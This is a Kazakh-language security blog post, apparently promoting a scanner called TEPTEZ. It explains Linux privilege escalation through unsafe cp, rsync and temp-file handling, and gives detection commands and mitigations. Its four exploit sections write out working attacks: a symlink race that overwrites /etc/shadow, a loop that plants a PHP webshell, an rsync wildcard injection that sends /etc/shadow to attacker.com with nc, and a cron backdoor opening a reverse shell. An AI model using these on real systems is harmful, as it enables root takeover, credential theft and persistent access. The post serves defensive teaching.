Copy2Fail: Unsafe File Copy = Linux Privilege Escalation

cp командасындағы қауіпті осалдықтар. Symlink race, TOCTOU және rsync injection арқылы file copy root access-ке айналады.

Қысқаша

  • Symlink жарысы: cp жазбас бұрын мақсатты /etc/shadow сілтемесімен ауыстыру
  • TOCTOU: тексеру мен көшіру арасында файлды ауыстыру — webshell
  • Rsync wildcard инъекциясы: файл аттары rsync жалаушаларына айналады
  • Temp файл ұстау: болжамды /tmp аттары арқылы тұрақты жасырын ауысым

Copy2Fail дегеніміз не?

cp, rsync, install, mv жарыс жағдайлары, symlink шабуылдар және құқық қателері арқылы пайдаланылатын осалдықтар класы. Cron, сақтық көшірме, CI/CD-де кездеседі. Root cron-дағы бір қауіпті cp = жүйені толық бұзу.

Қалай жұмыс істейді

Linux файл операциялары атомарлы ЕМЕС. Файлды тексеру мен көшіру арасында басқа процесс оны ауыстыра алады. Файлды жасау мен жазу арасында қаскүнем оны symlink-пен ауыстыра алады. Осы шағын уақыт аралықтары — осалдық.
# Не БОЛУЫ керек:
cp source /tmp/destination

# Не ШЫНЫНДА болады (жарыс терезесі):
# 1. cp /tmp/destination файлын жазу үшін ашады
# 2. ҚАСКҮНЕМ: rm /tmp/destination && ln -s /etc/shadow /tmp/destination
# 3. cp /etc/shadow-ға жазады (symlink бойынша!)

Осал екеніңізді тексеріңіз

Серверіңізде қауіпті үлгілерді іздеңіз:
# 1. /tmp-ке көшіретін root cron тапсырмалары
sudo crontab -l | grep -i "cp.*tmp\|rsync.*tmp"

# 2. Болжамды temp файлдары бар скрипттер (mktemp жоқ)
grep -r "TMPFILE=\|/tmp/" /usr/local/bin/ /opt/ --include="*.sh" | grep -v mktemp

# 3. Пайдаланушы каталогтарында wildcards бар rsync
grep -r "rsync.*\*" /etc/cron* /usr/local/bin/ --include="*.sh"

# 4. /tmp монтаждау параметрлері
mount | grep "/tmp"
# nosuid,nodev,noexec жоқ болса → /tmp шабуылға ашық
mktemp-сіз /tmp-ке көшіретін кез келген root скрипт — пайдаланылатын осалдық.

Эксплойт 1 — Symlink жарысы

Root сценарий файлды болжамды жолға көшіреді. Қаскүнем мақсатты /etc/shadow symlink-пен ауыстырады.
Symlink Race — Step by Step
SOURCE
/var/app/config.bak
cp
TARGET
/tmp/config_restore
Root cron job starts cp...
while true; do
  rm -f /tmp/config_restore
  ln -s /etc/shadow /tmp/config_restore
done &
echo 'root:$6$salt$attackerhash:19000:0:99999:7:::' > /var/app/config.bak
Қарапайым пайдаланушыдан жүйені толық бұзу.

Эксплойт 2 — TOCTOU жарыс жағдайы

Сценарий файлды тексереді, көшіреді. Арасында — ауыстыру. Webshell орнатылды.
TOCTOU Race — Time-of-Check vs Time-of-Use
CHECK
file "$UPLOAD" → "ASCII text" ✓
GAP
~ 0.001 seconds ~
USE
cp "$UPLOAD" /var/www/html/
UPLOAD="/tmp/uploads/payload"
while true; do
  echo "Hello" > "$UPLOAD"
  sleep 0.001
  echo '<?php system($_GET["c"]); ?>' > "$UPLOAD"
done &

Эксплойт 3 — Rsync wildcard инъекциясы

Rsync wildcards-пен — файл аттары жалаушаларға айналады. /etc/shadow деректерін ұрлау.
cd /home/user/uploads/
touch -- '-e sh exploit.sh'
echo 'cat /etc/shadow | nc attacker.com 4444' > exploit.sh
Файл аттары команда ретінде орындалады. Деректер ұрланды.

Эксплойт 4 — Temp файл ұстау

Болжамды /tmp аттары бар сценарийлер. Алдын ала symlink жасау — root қаскүнем айтқан жерге жазады.
ln -sf /etc/cron.d/backdoor /tmp/install_setup.log
echo '* * * * * root bash -i >& /dev/tcp/ATTACKER/4444 0>&1' > binary
Тұрақты root жасырын ауысым.

Қорғаныш шаралары

Файл жолдарына сенбеңіз. Атомарлық операциялар:
TMPFILE=$(mktemp /tmp/myapp.XXXXXX)
trap 'rm -f "$TMPFILE"' EXIT
cp --no-dereference source "$TMPFILE"
rsync -avz -- /uploads/ backup:/backups/
mv "$TMPFILE" /final/path
mktemp + --no-dereference + атомарлық mv = жарыс жағдайлары жойылды.

TEPTEZ-бен сканерлеңіз. Бұл қауіпті қаскүнемдерден бұрын табыңыз.

TEPTEZ қауіпті файл операцияларын, symlink жеңілдіктерін және жарыс жағдайларын автоматты анықтайды. Біздің DAST AI қызметін қараңыз — сканерлейді, табады және дайын түзетуді ұсынады.

TEPTEZ қолданып көру